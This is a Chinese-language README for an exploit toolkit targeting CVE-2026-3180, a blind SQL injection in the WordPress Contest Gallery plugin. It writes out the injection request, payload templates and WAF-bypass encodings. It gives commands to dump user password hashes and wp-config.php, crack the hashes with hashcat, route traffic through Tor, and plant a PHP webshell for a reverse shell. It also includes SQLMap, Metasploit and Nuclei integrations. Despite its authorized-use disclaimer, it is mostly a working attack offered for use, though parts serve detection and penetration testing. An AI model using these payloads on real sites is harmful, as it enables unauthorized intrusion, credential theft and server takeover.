
CVE-2026-3180 的完整利用工具包——WordPress Contest Gallery SQL注入漏洞。具备自动数据提取、WAF绕过、反向Shell、SQLMap集成、Burp扩展生成及报告功能,适用于渗透测试与安全研究。
CVE-2026-3180的概念验证评估工具
作者:Sudeepa Wanigarathna · 原始发现:cardosource
[!重要] 仅限授权使用。 此工具仅用于安全研究、教育和测试您拥有或获得明确书面许可的系统。未经授权访问计算机系统是违法的。作者不对滥用行为承担任何责任。
CVE-2026-3180 是 WordPress Contest Gallery 插件中的一个高严重性、未认证的盲SQL注入漏洞。该漏洞存在于 post_cg1l_resend_unconfirmed_mail_frontend AJAX 处理器中,cgl_mail 参数在未经过适当清理的情况下被传入 SQL 查询。
本仓库提供了一个功能丰富的 Python PoC(v2.0),供授权的安全专业人员进行漏洞影响验证、WordPress 数据提取、报告生成,以及与行业标准工具(SQLMap、Burp Suite、Nuclei)的集成。
| 字段 | 值 |
|---|
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded
action=post_cg1l_resend_unconfirmed_mail_frontend &cgl_mail=qualquer'OR/**/1=1#@teste.com &cgl_page_id=1 &cgl_activation_key= &cg_nonce=%20
### 参考资料
- [CVE-2026-3180](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3180)
- [Exploit-DB 52609](https://www.exploit-db.com/exploits/52609)
- [原始分析文章 (cardosource)](https://dev.to/22l31on/wordpress-contest-gallery-plugin-vulnerability-2ff6)
---
## 功能特性
### 核心利用
| 功能 | 描述 |
|---|---|
| 漏洞检测 | 布尔型、时间型、报错型、联合查询及堆叠查询测试 |
| 盲注提取 | 通过布尔推理进行二分查找字符提取 |
| 全量数据导出 | 用户、数据库元数据、选项、插件、主题、文章、表 |
| 交互式 SQL 终端 | 对后端执行任意 `SELECT` 查询 |
| wp-config.php 提取 | 针对常见路径的 `LOAD_FILE()` 尝试 |
| 反弹 Shell | 通过 `INTO OUTFILE` / `DUMPFILE` 写入 PHP Webshell(允许时) |
### 规避与性能
| 功能 | 描述 |
|---|---|
| WAF 绕过 | 15 种以上编码与混淆技术 |
| 多线程 | 可配置的工作线程数以加速提取 |
| 限速 | 请求间可配置延迟 |
| 重试机制 | 针对瞬时故障自动重试 |
| User-Agent 轮换 | 每次请求随机生成浏览器指纹 |
| 代理支持 | HTTP/SOCKS 代理及 Tor (`socks5h://127.0.0.1:9050`) |
### 报告与集成
| 功能 | 描述 |
|---|---|
| 报告生成 | JSON 和 HTML 格式的报告,包含提取摘要 |
| SQLMap 集成 | 自动生成含 tampers 的 SQLMap 命令 |
| Burp Suite 扩展 | 生成器 + 独立 `burp_contest_gallery.py` |
| Nuclei 模板 | 用于批量检测的 YAML 模板 |
| Metasploit 模块 | Ruby 辅助模块 (`contest_gallery_sqli.rb`) |
| Shell 自动化 | 基于 curl 和 SQLMap 工作流的 Bash 脚本 |
### 运维
| 功能 | 描述 |
|---|---|
| 彩色 CLI 输出 | 带严重级别的结构化日志 |
| 进度追踪 | 实时指标(请求数、耗时、提取速度) |
| 安静 / 冗长模式 | 适用于脚本编写与调试 |
| 信号处理 | 按 `Ctrl+C` 时优雅清理 |
| Docker 就绪 | 容器化部署支持 |
| CI/CD 流水线就绪 | 自动化用的退出码与 JSON 输出 |
---
## 安装
### 先决条件
- Python **3.8+**
- `pip`
- 对被测目标的可达网络
### 可选的外部工具
| 工具 | 用途 |
|---|---|
| [SQLMap](https://github.com/sqlmapproject/sqlmap) | 自动化 SQL 注入 |
| [Burp Suite](https://portswigger.net/burp) | 手动测试及扩展托管 |
| [Nuclei](https://github.com/projectdiscovery/nuclei) | 模板化扫描 |
| [Hashcat](https://hashcat.net/hashcat/) | 离线哈希破解 |
| [Tor](https://www.torproject.org/) | 匿名路由 (`--proxy tor`) |
### 设置```bash
git clone https://github.com/CerberusMrXi/WP-Contest-Gallery-28.1.4-Exploit.git
cd WP-Contest-Gallery-28.1.4-Exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2026-3180.py --help
必需(运行时):```text requests>=2.31.0
**推荐 (来自 requirements.txt):**```text
colorama>=0.4.6
tqdm>=4.65.0
pyyaml>=6.0
python-dateutil>=2.8.2
urllib3>=2.0.0
该主要利用仅使用Python标准库以及
requests。其他包可增强输出和报告功能。
将
http://target.example替换为实验室或授权目标。
python3 cve-2026-3180.py http://target.example --scan
### 完全利用(检测+提取)```bash
python3 cve-2026-3180.py http://target.example
python3 cve-2026-3180.py http://target.example --dump users
### 交互式 SQL shell```bash
python3 cve-2026-3180.py http://target.example --sql-shell
python3 cve-2026-3180.py http://target.example --report html -o assessment.html
### 通过 Burp 代理```bash
python3 cve-2026-3180.py http://target.example --proxy http://127.0.0.1:8080 -v
python3 cve-2026-3180.py http://target.example --scan
运行布尔型、基于时间的和基于错误的检测,而不进行完全提取。
### 完全数据提取```bash
python3 cve-2026-3180.py http://target.example --dump all
提取数据库信息、用户、选项、插件、主题、文章、表以及系统元数据。
python3 cve-2026-3180.py http://target.example --dump database python3 cve-2026-3180.py http://target.example --dump users python3 cve-2026-3180.py http://target.example --dump config python3 cve-2026-3180.py http://target.example --dump options python3 cve-2026-3180.py http://target.example --dump plugins python3 cve-2026-3180.py http://target.example --dump themes
### 交互式 SQL 外壳```bash
python3 cve-2026-3180.py http://target.example --sql-shell
请提供需要翻译的Markdown内容。```text sql> SELECT DATABASE() wordpress
sql> show users [ { "username": "admin", "email": "[email protected]", "password_hash": "$P$B..." } ]
sql> show tables ["wp_users", "wp_posts", "wp_options", ...]
sql> exit
**Shell 命令:**
| 命令 | 描述 |
|---|---|
| `SELECT ...` | 执行 SQL 查询并打印结果 |
| `show users` | 显示缓存的已提取用户 |
| `show tables` | 显示缓存的表列表 |
| `show database` | 显示缓存的数据库元数据 |
| `show config` | 如果已提取则显示 wp-config.php |
| `show options` | 显示 WordPress 选项 |
| `show plugins` | 显示已激活的插件 |
| `help` | 列出可用命令 |
| `exit` / `quit` | 退出 shell |
### 报告生成```bash
# JSON report (default, saved to reports/)
python3 cve-2026-3180.py http://target.example --report json
# HTML report with custom filename
python3 cve-2026-3180.py http://target.example --report html -o reports/assessment.html
nc -lvnp 4444
python3 cve-2026-3180.py http://target.example --reverse-shell 10.0.0.5 4444
> 需要 `FILE` 权限、可写的 webroot,以及 `secure_file_priv` 不阻止目标路径。
### SQLMap 命令生成```bash
python3 cve-2026-3180.py http://target.example --sqlmap
或者使用捆绑的自动化脚本:```bash chmod +x sqlmap_automation.sh ./sqlmap_automation.sh http://target.example
### Burp Suite 扩展```bash
# Generate extension from exploit
python3 cve-2026-3180.py http://target.example --burp-extension
# Or load the standalone extension
# Burp → Extender → Extensions → Add → Python → burp_contest_gallery.py
python3 cve-2026-3180.py http://target.example --nuclei-template
nuclei -u http://target.example -t CVE-2026-3180.yaml
### Bash 自动化(无 Python)```bash
chmod +x cve-2026-3180_automated.sh
./cve-2026-3180_automated.sh http://target.example
python3 cve-2026-3180.py http://target.example --proxy tor
### 性能调优```bash
python3 cve-2026-3180.py http://target.example \
--threads 20 \
--timeout 15 \
--delay 0.1 \
--retries 5 \
-v
| 参数 | 描述 |
|---|---|
target | 目标 WordPress 基础 URL(例如 http://target.example) |
| 参数 | 描述 |
|---|---|
--verbose, -v | 启用调试日志 |
--quiet | 抑制控制台输出 |
--output, -o | 自定义输出文件路径 |
该工具自动测试并使用多种注入策略:
PayloadManager 在 12 个以上的注入模板间轮换:```text
'OR//{condition}#@teste.com
'OR{condition}-- -
')OR{condition}#
'))OR{condition}#
'OR//{condition}OR//'1'='1'#
'UNION//SELECT{condition}#
...
### 布尔提取算法
1. 通过 true/false 基线长度确认漏洞
2. 对目标查询结果的 `LENGTH()` 进行二分搜索
3. 对每个字符位置进行 `ASCII(SUBSTRING(...))` 的二分搜索
4. 从提取的字符组装完整字符串
---
## WAF 绕过
内置的混淆技术,可随机或按需应用:
| 技术 | 描述 |
|---|---|
| `comment_obfuscation` | 将空格替换为 `/**/`, `/*!*/`, `-- `, `#` |
| `case_variation` | 字母字符中随机大写/小写 |
| `url_encoding` | 标准百分比编码 |
| `double_url_encoding` | 嵌套百分比编码 |
| `hex_encoding` | `%41` 风格的十六进制编码 |
| `unicode_encoding` | `%u0041` 风格的 Unicode 编码 |
| `white_space_variation` | 使用制表符、换行符、换页符代替空格 |
| `keyword_obfuscation` | 拆分关键字:`SEL/**/ECT`, `UNI/**/ION` |
| `concat_obfuscation` | 通过 `\|\|` 进行 `CHAR()` 拼接 |
| `char_obfuscation` | 通过 `+` 进行 `CHAR()` 加法 |
示例转换后的载荷:```text
qualquer'OR/**/1=1#@teste.com
→ qualquer'%2F**%2FOR%2F**%2F1%3D1%23%40teste.com
{ "username": "admin", "password_hash": "$P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", "email": "[email protected]", "roles": ["administrator"] }
### 密码哈希破解(离线)
提取后,使用Hashcat破解WordPress phpass哈希:```bash
# Save hashes to file
python3 cve-2026-3180.py http://target.example --dump users -o users.json
# Crack with Hashcat (mode 400 = phpass)
hashcat -m 400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
生成的命令(通过 --sqlmap):```bash
sqlmap -u "http://target.example/wp-admin/admin-ajax.php"
--data "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20"
-p cgl_mail
--dbms=mysql
--level=3 --risk=2
--batch
--threads=5
--time-sec=5
--retries=3
--delay=0.05
--random-agent
--hex
--tamper=space2comment,randomcase,between,charencode
--dbs
### Burp Suite
1. 在**扩展程序 → 扩展 → 添加**中加载 `burp_contest_gallery.py`
2. 打开 **CVE-2026-3180** 标签页
3. 输入目标URL并点击**利用**
4. 被动扫描器检查AJAX请求以查找Contest Gallery的指示器
### Nuclei```yaml
id: CVE-2026-3180
info:
name: WordPress Contest Gallery SQL Injection
severity: high
classification:
cve-id: CVE-2026-3180
cvss-score: 7.5
requests:
- method: POST
path: /wp-admin/admin-ajax.php
body: "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20"
cp contest_gallery_sqli.rb ~/.msf4/modules/auxiliary/scanner/http/
msfconsole -q -x "use auxiliary/scanner/http/contest_gallery_sqli; set RHOSTS target.example; run"
---
## 攻击链```mermaid
flowchart TD
A["Unauthenticated POST to admin-ajax.php"] --> B["cgl_mail parameter unsanitized"]
B --> C{"Injection type?"}
C -->|Boolean| D["Response length inference"]
C -->|Time| E["SLEEP delay inference"]
C -->|Error| F["SQL error leakage"]
D --> G["Binary-search extraction"]
E --> G
F --> G
G --> H["WordPress data exfiltration"]
H --> I["Users / hashes / options / config"]
I --> J["Optional: OUTFILE webshell"]
post_cg1l_resend_unconfirmed_mail_frontend AJAX 操作。cgl_mail 值直接拼接到 SQL 中,未使用参数化。[] Target: http://target.example [] Checking vulnerability... [+] Target is VULNERABLE! (Boolean-based) [+] Response length difference: 42 chars [*] Extracting database information... [+] name: wordpress [+] version: 8.0.35 [+] Found 3 users [+] Exploitation complete!
### JSON 报告结构```json
{
"metadata": {
"cve": "CVE-2026-3180",
"cvss_score": "7.5 (High)",
"type": "boolean_based"
},
"target": {
"url": "http://target.example",
"ajax_url": "http://target.example/wp-admin/admin-ajax.php"
},
"vulnerability": {
"vulnerable": true,
"type": "boolean_based"
},
"extracted_data": {
"database": { "name": "wordpress", "version": "8.0.35" },
"users": [],
"tables": [],
"plugins": [],
"options": {}
},
"summary": {
"users_found": 3,
"tables_found": 12,
"plugins_found": 8,
"config_extracted": false
}
}
报告默认保存到 reports/ 目录。
FROM python:3.11-slim
WORKDIR /app COPY requirements.txt cve-2026-3180.py ./ RUN pip install --no-cache-dir -r requirements.txt
ENTRYPOINT ["python3", "cve-2026-3180.py"] CMD ["--help"]
(无输入内容)```bash
# Build
docker build -t cve-2026-3180 .
# Scan
docker run --rm cve-2026-3180 http://target.example --scan
# Full exploit with report volume
docker run --rm -v $(pwd)/reports:/app/reports cve-2026-3180 \
http://target.example --report json
示例:用于授权的预发布环境扫描的 GitHub Actions 工作流程:```yaml name: CVE-2026-3180 Staging Scan
on: workflow_dispatch: schedule: - cron: '0 2 * * 1'
jobs: scan: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.11'
- run: pip install -r requirements.txt
- name: Vulnerability scan
run: |
python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
--scan --quiet
continue-on-error: true
- name: Generate report
run: |
python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
--report json -o reports/staging.json
- uses: actions/upload-artifact@v4
with:
name: security-report
path: reports/
---
## 故障排查
| 症状 | 尝试方法 |
|---|---|
| 目标不受影响 | 确认已安装并启用了 Contest Gallery ≤ 28.1.4 |
| 无响应长度差异 | 尝试 `--scan` 使用基于时间的回退;增加 `--timeout` |
| 提取速度极慢 | 增加 `--threads`;谨慎降低 `--delay` |
| 连接错误 | 提高 `--timeout` 和 `--retries`;检查代理设置 |
| WAF 拦截请求 | 使用 `--proxy tor`;工具会自动应用绕过技术 |
| Tor 代理失败 | 确认 Tor 运行在 `127.0.0.1:9050`;如有需要安装 `requests[socks]` |
| 用户列表为空 | 表前缀可能不是 `wp_`;使用 `--sql-shell` 配合自定义查询 |
| 未找到 wp-config | 尝试 `--sql-shell` 配合其他 `LOAD_FILE()` 路径 |
| 反弹 Shell 失败 | 检查 `FILE` 权限、`secure_file_priv`、Web 根目录权限 |
### 调试工作流```bash
# Verbose scan
python3 cve-2026-3180.py http://target.example --scan -v
# Through Burp
python3 cve-2026-3180.py http://target.example \
--proxy http://127.0.0.1:8080 -v --scan
# Manual curl verification
curl -s -X POST "http://target.example/wp-admin/admin-ajax.php" \
-d "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=qualquer'OR/**/1=1#@teste.com&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20" \
-w "\nSize: %{size_download}\n"
exploit/ ├── cve-2026-3180.py # Main exploit tool (v2.0) ├── requirements.txt # Python dependencies ├── README.md # This file ├── burp_contest_gallery.py # Standalone Burp Suite extension ├── contest_gallery_sqli.rb # Metasploit auxiliary module ├── cve-2026-3180_automated.sh # Bash/curl automation script ├── sqlmap_automation.sh # SQLMap wrapper script ├── reports/ # Generated reports (created at runtime) ├── backups/ # Database backups (created at runtime) ├── payloads/ # Custom payload storage └── venv/ # Local virtualenv (optional, not committed)
---
## 版本历史
### v2.0.0 — 终极版(2026年1月)
- 布尔型、时间、错误、联合与堆叠注入检测
- 完整的WordPress数据提取管道
- 15+ 种WAF绕过技术
- 交互式SQL Shell
- JSON / HTML报告生成
- SQLMap、Burp和Nuclei集成
- 通过 `INTO OUTFILE` 获取反向Shell
- 代理与Tor支持
- 带重试逻辑的多线程
- 彩色输出与结构化日志
### v1.0 — 初始发布
- 基本的布尔型检测
- 手动用户提取
---
## 免责声明
本项目按**原样**提供,用于**防御性安全研究**和**授权渗透测试**。
使用本软件即表示您同意以下条款:
1. 您仅针对自己拥有或被明确授权测试的系统。
2. 您理解适用的计算机滥用与数据保护法律法规。
3. 作者和贡献者**不承担**因滥用造成的损害、数据丢失或法律后果。
如果您在生产环境中发现此漏洞,请遵循负责任的披露实践,并酌情与插件供应商/WordPress安全团队协调。
---
## 作者与致谢
| 角色 | 姓名 |
|---|---|
| **工具作者** | Sudeepa Wanigarathna |
| **原始发现** | cardosource |
| **CVE** | CVE-2026-3180 |
| **许可证** | MIT |
---
## 许可证```
MIT License
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
仅供授权安全测试使用。
| 属性 | 值 |
|---|
| CVE ID | CVE-2026-3180 |
| CVSS | 7.5(高) |
| 攻击向量 | 网络 — 未认证 |
| 影响 | 机密性泄露、数据库读取、凭据窃取 |
| 受影响产品 | WordPress Contest Gallery 插件 |
| 受影响版本 | 28.1.4及更早版本 |
| 漏洞类型 | 盲SQL注入 |
| 数据库管理系统 | MySQL / MariaDB |
| URL | /wp-admin/admin-ajax.php |
| 方法 | POST |
| 动作 | post_cg1l_resend_unconfirmed_mail_frontend |
| 漏洞参数 | cgl_mail |
| 参数 | 默认值 | 描述 |
|---|
--proxy | — | 代理 URL 或通过 Tor 的 SOCKS5 的 tor |
--timeout | 10 | HTTP 请求超时(秒) |
--delay | 0.05 | 请求间延迟(秒) |
--retries | 3 | 失败请求的重试次数 |
--threads, -t | 5 | 线程池大小 |
| 参数 | 描述 |
|---|
| (默认) | 完整利用:检测 → 扫描 → 提取所有 |
--scan | 仅漏洞检测 |
--sql-shell | 交互式 SQL 终端 |
--dump {users,config,database,options,plugins,themes,all} | 提取特定数据 |
--report {json,html} | 生成评估报告 |
--reverse-shell LHOST LPORT | 通过文件写入尝试反弹 Shell |
--sqlmap | 打印 SQLMap 命令 |
--burp-extension | 生成 Burp Suite 扩展 |
--nuclei-template | 生成 Nuclei YAML 模板 |
| 类型 | 检测方法 | 使用场景 |
|---|
| 基于布尔 | 响应长度差异(1=1 vs 1=2) | 主要提取引擎 |
| 基于时间 | SLEEP() 延迟推断 | 当布尔信号较弱时作为备用 |
| 基于错误 | EXTRACTVALUE() / SQL 错误字符串 | 当错误信息泄露时快速获取元数据 |
| 基于联合 | UNION SELECT 载荷 | 直接获取值(条件允许时) |
| 堆叠查询 | '; ... # 语法 | 多语句执行(罕见) |
| 目标 | SQL来源 | 输出键 |
|---|
| 数据库名称 | SELECT DATABASE() | database.name |
| 数据库版本 | SELECT VERSION() | database.version |
| 数据库用户 | SELECT USER() | database.user |
| 表 | information_schema.TABLES | tables[] |
| 列 | information_schema.COLUMNS | columns{} |
| WordPress用户 | wp_users | users[] |
| 密码哈希 | wp_users.user_pass | users[].password_hash |
| 电子邮件 | wp_users.user_email | users[].email |
| 角色 | wp_usermeta capabilities | users[].roles |
| 站点选项 | wp_options | options{} |
| 已激活插件 | wp_options.active_plugins | plugins[] |
| 主题 | template / stylesheet options | themes[] |
| 文章 | wp_posts | posts[] |
| wp-config.php | LOAD_FILE('/var/www/html/wp-config.php') | config |
| 系统信息 | @@hostname, @@datadir, etc. | system_info{} |